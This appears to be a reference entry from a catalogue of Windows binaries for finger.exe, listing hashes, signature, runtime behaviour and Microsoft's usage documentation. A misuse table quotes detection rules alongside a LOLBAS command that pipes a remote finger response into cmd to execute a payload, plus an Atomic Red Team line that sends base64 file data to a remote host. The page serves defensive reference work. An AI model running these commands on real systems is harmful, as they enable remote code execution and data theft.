finger.exe
- File Path:
C:\WINDOWS\system32\finger.exe - Description: TCPIP Finger Command
Hashes
| Type | Hash |
|---|---|
| MD5 | 2B09EC8985B25A8913ED84B689324C79 |
| SHA1 | 7CDC50B9C2E2D958D60A610F16DF02691148B589 |
| SHA256 | 922676DE208FF1305DF3C70099A54C0BD359E45B1EA00D0CD2AF2EEFD10AD569 |
| SHA384 | 58AA6B839D15E099568D9D355E1C0F61A3D6C4CE09C124436123C08DCBD2B553AF0B49824DBF37B53EDA8688597B349B |
| SHA512 | 151CEBEBD19070333A67E20E203B9B0C04A1D0BECDFCB9BC8122ADCD702F213CF547222F738823C3C8C59374CDA790B23E073892D8F4BA5362787055E917BAC1 |
| SSDEEP | 384:ozVYuBqLUtd+vQBbAT7yGRGx+Z6qgwaGow7tmKs+ciLWG0W:ozV5BxCQBbAPDGAo5VIjs+cid |
| IMP | 97268E1274EE1255E15DEA9048E09C06 |
| PESHA1 | 1CF74380503A6B2306A8DE8673410D8BDDA73B1C |
| PE256 | AB43F208A812F548F43560EAAF7B8EF1B12F4909DF15C0B23BB7511A0E5A80A3 |
Runtime Data
Usage (stdout):
[default-pc]
Usage (stderr):
Displays information about a user on a specified system running the
Finger service. Output varies based on the remote system.
FINGER [-l] [user]@host [...]
-l Displays information in long list format.
user Specifies the user you want information about. Omit the user
parameter to display information about all users on the
specifed host.
@host Specifies the server on the remote system whose users you
want information about.
Child Processes:
conhost.exe
Open Handles:
| Path | Type |
|---|---|
| (R-D) C:\Windows\System32\en-US\finger.exe.mui | File |
| (RW-) C:\Windows\System32 | File |
| \BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db | Section |
| \BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db | Section |
| \BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*cversions.2.ro | Section |
| \Sessions\2\BaseNamedObjects\NLS_CodePage_1252_3_2_0_0 | Section |
| \Sessions\2\BaseNamedObjects\NLS_CodePage_437_3_2_0_0 | Section |
Loaded Modules:
| Path |
|---|
| C:\WINDOWS\system32\finger.exe |
| C:\WINDOWS\System32\KERNEL32.DLL |
| C:\WINDOWS\System32\KERNELBASE.dll |
| C:\WINDOWS\SYSTEM32\ntdll.dll |
Signature
- Status: Signature verified.
- Serial:
33000002ED2C45E4C145CF48440000000002ED - Thumbprint:
312860D2047EB81F8F58C29FF19ECDB4C634CF6A - Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
- Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
File Metadata
- Original Filename: finger.exe.mui
- Product Name: Microsoft Windows Operating System
- Company Name: Microsoft Corporation
- File Version: 10.0.22000.1 (WinBuild.160101.0800)
- Product Version: 10.0.22000.1
- Language: English (United States)
- Legal Copyright: Microsoft Corporation. All rights reserved.
- Machine Type: 64-bit
File Scan
- VirusTotal Detections: 0/74
- VirusTotal Link: https://www.virustotal.com/gui/file/922676de208ff1305df3c70099a54c0bd359e45b1ea00d0cd2af2eefd10ad569/detection
Possible Misuse
The following table contains possible examples of finger.exe being misused. While finger.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.
| Source | Source File | Example | License |
|---|---|---|---|
| sigma | proc_creation_win_susp_finger_usage.yml | title: Finger.exe Suspicious Invocation |
DRL 1.0 |
| sigma | proc_creation_win_susp_finger_usage.yml | description: Detects suspicious aged finger.exe tool execution often used in malware attacks nowadays |
DRL 1.0 |
| sigma | proc_creation_win_susp_finger_usage.yml | Image\|endswith: '\finger.exe' |
DRL 1.0 |
| sigma | proc_creation_win_susp_finger_usage.yml | - Admin activity (unclear what they do nowadays with finger.exe) |
DRL 1.0 |
| LOLBAS | Finger.yml | Name: Finger.exe |
|
| LOLBAS | Finger.yml | Description: Displays information about a user or users on a specified remote computer that is running the Finger service or daemon |
|
| LOLBAS | Finger.yml | - Command: finger user@example.host.com \| more +2 \| cmd |
|
| LOLBAS | Finger.yml | Description: 'Downloads payload from remote Finger server. This example connects to "example.host.com" asking for user "user"; the result could contain malicious shellcode which is executed by the cmd process.' |
|
| LOLBAS | Finger.yml | - Path: c:\windows\system32\finger.exe |
|
| LOLBAS | Finger.yml | - Path: c:\windows\syswow64\finger.exe |
|
| LOLBAS | Finger.yml | - IOC: finger.exe should not be run on a normal workstation. |
|
| LOLBAS | Finger.yml | - IOC: finger.exe connecting to external resources. |
|
| malware-ioc | nouns.txt | finger |
© ESET 2014-2018 |
| atomic-red-team | index.md | - Atomic Test #16: File download with finger.exe on Windows [windows] | MIT License. © 2018 Red Canary |
| atomic-red-team | windows-index.md | - Atomic Test #16: File download with finger.exe on Windows [windows] | MIT License. © 2018 Red Canary |
| atomic-red-team | T1105.md | - Atomic Test #16 - File download with finger.exe on Windows | MIT License. © 2018 Red Canary |
| atomic-red-team | T1105.md | ## Atomic Test #16 - File download with finger.exe on Windows | MIT License. © 2018 Red Canary |
| atomic-red-team | T1105.md | Simulate a file download using finger.exe. Connect to localhost by default, use custom input argument to test finger connecting to an external server. | MIT License. © 2018 Red Canary |
| atomic-red-team | T1105.md | https://www.bleepingcomputer.com/news/security/windows-10-finger-command-can-be-abused-to-download-or-steal-files/ | MIT License. © 2018 Red Canary |
| atomic-red-team | T1105.md | finger base64_filedata@#{remote_host} | MIT License. © 2018 Red Canary |
Additional Info*
*The information below is copied from MicrosoftDocs, which is maintained by Microsoft. Available under CC BY 4.0 license.
finger
Applies to: Windows Server 2022, Windows Server 2019, Windows Server 2016, Windows Server 2012 R2, Windows Server 2012
Displays information about users on a specified remote computer (typically a computer running UNIX) that is running the finger service or daemon. The remote computer specifies the format and output of the user information display. Used without parameters, finger displays help.
[!IMPORTANT] This command is available only if the Internet Protocol (TCP/IP) protocol is installed as a component in the properties of a network adapter in Network Connections.
Syntax
finger [-l] [<user>] [@<host>] [...]
Parameters
| Parameter | Description |
|---|---|
| -l | Displays user information in long list format. |
<user> |
Specifies the user about which you want information. If you omit the user parameter, this command displays information about all users on the specified computer. |
@<host> |
Specifies the remote computer running the finger service where you are looking for user information. You can specify a computer name or IP address. |
| /? | Displays help at the command prompt. |
Remarks
-
You must prefix finger parameters with a hyphen (-) rather than a slash (/).
-
Multiple
user@hostparameters can be specified.
Examples
To display information for user1 on the computer users.microsoft.com, type:
finger user1@users.microsoft.com
To display information for all users on the computer users.microsoft.com, type:
finger @users.microsoft.com
Additional References
MIT License. Copyright (c) 2020-2021 Strontic.